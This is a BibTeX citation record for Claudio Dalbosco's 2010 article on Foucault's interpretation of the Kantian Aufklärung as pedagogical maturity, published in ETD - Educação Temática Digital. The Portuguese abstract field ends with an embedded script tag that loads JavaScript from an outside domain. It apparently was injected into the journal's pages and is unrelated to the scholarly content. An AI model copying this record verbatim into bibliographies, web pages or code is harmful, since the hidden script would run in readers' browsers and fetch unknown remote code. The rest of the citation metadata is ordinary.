@article{Dalbosco_2010, place={Campinas, SP}, title={Foucault-Kant e a questão da Aufklärung como maioridade pedagógica}, volume={12}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/849}, DOI={10.20396/etd.v12i1.849}, abstractNote={<p>O ensaio reconstrói, em largos traços, a interpretação que Foucault faz da Aufklärung kantiana. Procura mostrar, por um lado, que tal interpretação serve-lhe de auto-esclarecimento filosófico, isto é, como certificação da noção de filosofia como pensamento da atualidade. Por outro, que esta noção de filosofia torna-nos produtiva a própria idéia de uma filosofia da educação baseada na Aufklärung como maioridade pedagógica.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={ETD - Educação Temática Digital}, author={Dalbosco, Claudio}, year={2010}, month={nov.}, pages={202–223} }